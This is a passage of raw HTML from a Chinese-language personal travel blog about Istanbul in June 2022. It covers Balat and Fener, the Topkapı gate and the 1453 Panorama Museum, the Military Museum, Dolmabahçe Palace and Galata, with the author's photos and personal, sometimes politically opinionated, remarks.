        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220617_154800_1.fdc154265d2185b0.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220617_154800_1.9a681fa41f95cf3d.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220617_154800_1.c5d19147774f5350.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220617_154800_1.9a681fa41f95cf3d.webp&quot;
	alt=&quot;查士丁尼、玛丽亚、君士坦丁&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;主体建筑旁有几个苏丹的墓室，那里的介绍牌仍然称圣索菲亚为博物馆。塞利姆二世墓室前的陶砖是复制品，真品在送去法国翻修时掉包了，在卢浮宫展出。土耳其多次要求归还，但无果。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2022-06-18&quot;&gt;2022-06-18&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;Balat、Fener&quot;&gt;Balat、Fener&lt;&#x2F;h3&gt;
&lt;p&gt;别来&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Balat，这地方卖点是几栋刷着鲜艳颜色的房子，实在是没创意。&lt;&#x2F;p&gt;
&lt;p&gt;Balat&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;旁的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fener（Phanar）是希腊人的聚集地。那里的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Phanar
Greek Orthodox
College，比&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Balat&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的几栋房子好看多了。君士坦丁堡牧首所在的圣乔治主教座堂也在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Balat，但我们没有去。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220618_110933.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_110933.88487485f2b98261.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_110933.dfbd8023297b4e7f.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_110933.c9e528114f84592d.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_110933.dfbd8023297b4e7f.webp&quot;
	alt=&quot;Phanar Greek Orthodox College&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h3 id=&quot;“大炮之门”与全景1453博物馆&quot;&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;大炮之门”与全景&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1453&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;博物馆&lt;&#x2F;h3&gt;
&lt;p&gt;1453&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;6&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;youtu.be&#x2F;8W0OTGQEY8E?t=575&quot;&gt;奥斯曼的大炮摧毁了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Gate
of Hagios
Romanos&lt;&#x2F;a&gt;，热那亚将领&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Giustiniani&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;击退了进城的奥斯曼士兵。29&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日，奥斯曼再次攻破这个城门，Giustiniani&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;因受伤退出战斗。守军士气锐减，被击溃。据说君士坦丁十一世曾在这座门附近进行最后的反击。所以说&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Gate
of Hagios
Romanos&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在伊斯坦布尔有特殊的意义，也是我们旅途的重要一站。&lt;&#x2F;p&gt;
&lt;p&gt;由于这扇门被大炮轰开，所以又名&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span lang=&quot;tr&quot;&gt;Top
Kapı&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;大炮之门&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#%E6%89%98%E6%99%AE%E5%8D%A1%E5%B8%95%E5%AE%AB&quot;&gt;托普卡帕宫&lt;&#x2F;a&gt;也叫同样的名字，因为宫内曾有大炮。&lt;&#x2F;p&gt;
&lt;p&gt;如今城市侧的门口有两个耶尼切里雕像。城外侧有一块牌子，大意是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1453&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;29&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日星期二，法提赫和他的士兵攻破君士坦丁堡（司机翻译的，细节我记不清了&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。这块牌子在别的城门、加拉塔也有。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c16-9&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220618_143749.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_143749.7453fff7f964e31d.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_143749.b77811dee5c35d28.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_143749.231af3c85dc76b04.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_143749.b77811dee5c35d28.webp&quot;
	alt=&quot;城门内的耶尼切里&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220618_144111.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_144111.f2f2e8e0758533a6.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_144111.4067a581cdc0a6be.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_144111.0e0b204d59f40e32.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_144111.4067a581cdc0a6be.webp&quot;
	alt=&quot;城门外的牌子&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220618_153511.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_153511.9b4ee5bb8c36d521.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_153511.52f1ff735f87daa3.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_153511.9703d3fffe959fba.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_153511.52f1ff735f87daa3.webp&quot;
	alt=&quot;1453博物馆模型&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;离开破城的城门后，我们去参观了精罗落泪纪念馆——全景&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1453&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;博物馆。这个馆很小，卖点是二楼放有大炮模型、绘有全景攻城壁画的穹顶房间。点睛之笔在于不间断播放的奥斯曼风格军乐，一下把氛围感拉满。画中的城门与城墙就是大炮之门那一段，我特意按同样角度拍了对比图片：&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220618_144905.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_144905.2af81ff3b3e8c9d5.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_144905.ff107e07e04d1b7a.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_144905.d07fc42a5d8bca26.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_144905.ff107e07e04d1b7a.webp&quot;
	alt=&quot;城墙实拍&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220618_153300.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_153300.20d14191b14893cb.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_153300.6f4ccc0cd75b1f52.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_153300.24a2cbc394354c03.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_153300.6f4ccc0cd75b1f52.webp&quot;
	alt=&quot;城墙画作&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;然而，写游记时发现我们参观错了。Gate of Hagios
Romanos&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之名来自门内的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Hagios
Romanos&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;教堂，而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;istanbulsurlari.ku.edu.tr&#x2F;en&#x2F;essay&#x2F;50&#x2F;the-gate-of-hagios-romanos&quot;&gt;2003&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年考古学家在另一座城门上发现了希腊语铭文“通往&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Hagios
Romanos&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的中门”&lt;&#x2F;a&gt;——&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;istanbulsurlari.ku.edu.tr&#x2F;en&#x2F;essay&#x2F;49&#x2F;top-kapi&quot;&gt;我们参观的不是那座有重大意义的城门&lt;&#x2F;a&gt;。即使位置正确，也有些遗憾，因为这座门&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;romeartlover.it&#x2F;Murter2.html#:~:text=August%201794.%20The,years%201794%2D1796.&quot;&gt;早已是废墟&lt;&#x2F;a&gt;，我们看到的是在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;istanbulsurlari.ku.edu.tr&#x2F;en&#x2F;gate&#x2F;607&#x2F;top-kapi&quot;&gt;1956&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年重建的&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;
&lt;div&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220618_143858.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_143858.42b4ccdcc7205122.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_143858.eaf635123ed6d490.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_143858.e167f6ad54a54827.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220618_143858.eaf635123ed6d490.webp&quot;
	alt=&quot;城墙上的MHP巨幅党旗&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220620_195208.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_195208.e3d066938b167033.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_195208.040bc52830a0d96c.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_195208.3e9c5a47b6395793.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_195208.040bc52830a0d96c.webp&quot;
	alt=&quot;画在墙上的MHP标识&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div&gt;
&lt;p&gt;值得一提的是，假大炮之门旁边挂着巨幅土耳其极右翼政党民族主义行动党（&lt;span lang=&quot;tr&quot;&gt;Milliyetçi
Hareket
Partisi&lt;&#x2F;span&gt;，MHP）的旗帜。在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2018&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年总统大选期间，该政党和另外两个右翼政党结盟为人民联盟，保埃苏丹连任。MHP&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把旗子挂在这里，可能意在重返奥斯曼时代（奥斯曼曾用过同样的旗子，只不过是绿底&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;MHP&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有个新法西斯军事组织&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Grey_Wolves_(organization)&quot;&gt;灰狼&lt;&#x2F;a&gt;。&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;thegrayzone.com&#x2F;2020&#x2F;03&#x2F;05&#x2F;world-uyghur-congress-us-far-right-regime-change-network-fall-china&#x2F;&quot;&gt;灰狼与疆独和世维会都有关系&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;哦，当然，由知名白手套&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;NED&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;资助&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。老实说有点后怕，因为灰狼曾在荷兰攻击中国游客，而我在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#Balat%E3%80%81Fener&quot;&gt;Balat&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的墙上看到了他们啸天的狼与新月标识。中国领事服务网中，&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;cs.mfa.gov.cn&#x2F;zggmcg&#x2F;ljmdd&#x2F;yz_645708&#x2F;teq_647632&#x2F;&quot;&gt;伊斯坦布尔旅行风险等级为黄色&lt;&#x2F;a&gt;，和英国平级。&lt;&#x2F;p&gt;
&lt;p&gt;后来在大巴扎又看到了画在墙上的三个新月标识。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;&#x2F;div&gt;
&lt;h2 id=&quot;2022-06-19&quot;&gt;2022-06-19&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;伊斯坦布尔军事博物馆&quot;&gt;伊斯坦布尔军事博物馆&lt;&#x2F;h3&gt;
&lt;p&gt;最开始我以为这是个单纯的军事博物馆，结果一进门就看见凯末尔说“土耳其有七千年历史&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;、&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;这就是土耳其人：闪电、风暴、照亮世界的太阳&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。然后马上可以看到“土耳其人”攻打长城、围困白登山。在一个摆放了他们“列祖列宗”头像的院子中间，甚至立着一个阙特勤碑复制品——当然，只翻译突厥文那一版。二楼有涉及亚美尼亚的展品，不过受害者是土耳其。&lt;&#x2F;p&gt;
&lt;p&gt;我们来参观这个博物馆，主要是想看“罗马雅乐&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;《Ceddin
Deden》现场表演。可惜去得太早，表演三点才开始，我们很快就出去了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;Dolmabahçe&quot;&gt;&lt;span lang=&quot;tr&quot;&gt;Dolmabahçe&lt;&#x2F;span&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;吃完饭我们步行来到苏丹的新皇宫。&lt;&#x2F;p&gt;
&lt;p&gt;网上有人说多尔玛巴赫切宫室内禁止拍照，但我在皇宫拿到的册子上说“没有对外开放的地点，不准携带照相机与手机进行拍照&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，所以只要跟着语音导览走，就可以拍照。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220619_153832.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_153832.aad0b5e44fedbc79.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_153832.32ab3314db99f300.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_153832.cecc6afb73c41034.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_153832.32ab3314db99f300.webp&quot;
	alt=&quot;Dolmabahçe的大门&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;我先参观的是后宫，那里是苏丹和他的母亲、各位老婆居住的地方。整个宫殿铺满了草席——解说认为日常生活中草席比大理石地板方便——我觉得掉档次。不过最掉档次的还是苏丹的厕所：平滑的墙面暗示这马桶没有冲水功能，狭小的空间让拉屎仿佛坐牢——苏丹的生活，令人羡慕不起来。&lt;&#x2F;p&gt;
&lt;p&gt;凯末尔建国后曾在后宫办公，蓝色沙龙（苏丹的会客厅）专门为他装了电梯——我如果是他，就会要求安豪华马桶。他去世的床上现在铺着土耳其国旗的刺绣，床对面墙上挂着驻俄大使送他的画。凯末尔躺在病床上说康复后想去画中描绘的地方生活，不过没有去成。&lt;&#x2F;p&gt;
&lt;p&gt;前殿的门全部使用陶瓷把手，上面画着粉花，让人联想到老式搪瓷盆。前殿大厅的穹顶和水晶灯漂亮至极，比那几个清真寺好多了，据说这水晶灯组装了几个月。这里曾停放过凯末尔的棺椁。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220619_162801.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_162801.e8e6f55054d52a57.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_162801.974091156add2ca8.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_162801.b617b9bc6c5c65be.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_162801.974091156add2ca8.webp&quot;
	alt=&quot;苏丹简陋的厕所&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220619_172803.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_172803.bb60a962c207aaf8.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_172803.63bf0bd07e1f9049.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_172803.b569776ebeac433a.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_172803.63bf0bd07e1f9049.webp&quot;
	alt=&quot;前殿的穹顶与吊灯&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h3 id=&quot;登加拉塔之前&quot;&gt;登加拉塔之前&lt;&#x2F;h3&gt;
&lt;p&gt;从多尔玛巴赫切皇宫回到酒店还早，我准备去参观酒店附近的加拉塔。可由于没有吃饭与选择困难，一路走到了海边。海边有摆摊卖鱼肉卷的（大概是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span lang=&quot;tr&quot;&gt;Balik
ekmek&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，自打北京整治市容后我就没吃过地摊菜了，这不得买一卷？味道还行，就是刺没剔干净。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c16-9&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220619_200328.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_200328.fa04543ed545416f.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_200328.65f2b260744b9728.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_200328.8e34fed5dfeea556.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_200328.65f2b260744b9728.webp&quot;
	alt=&quot;街头小贩正在加热&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220619_201103.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_201103.088fe82cf6866ba0.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_201103.a420cf39099fbe77.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_201103.97069aa67ba72276.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_201103.a420cf39099fbe77.webp&quot;
	alt=&quot;海与鱼肉卷&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;回头往加拉塔走时爬了又长又陡的坡，中途太累了坐在长椅上休息。有个精神头特足的瘦高老头三步并作两步坐到我旁边开始和我聊天。老头是波斯尼亚人，有亲戚住伊斯坦布尔，所以隔几个月就来住好久。这位老人十分关心北京的空气污染，他认为海风是伊斯坦布尔空气好的原因——然而我总觉得伊斯坦布尔大街小巷弥漫着汽油味，远不如北京。另外尴尬的是，我不知道波斯尼亚在哪，老头说的周边国家我都知道，唯独没听过波斯尼亚——后来才发现波黑全名不叫波黑。老头很热情，我们从白天聊到黑夜。他第二天要去海边，不过那天下了小雨，不知道他的体验如何。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;加拉塔&quot;&gt;加拉塔&lt;&#x2F;h3&gt;
&lt;p&gt;加拉塔很高，像杏鲍菇，我很喜欢。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220619_194609.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_194609.8be9d6745d8b02d4.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_194609.4750313449e4fc69.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_194609.d28102213065c5f7.webp 1500w&quot;
	
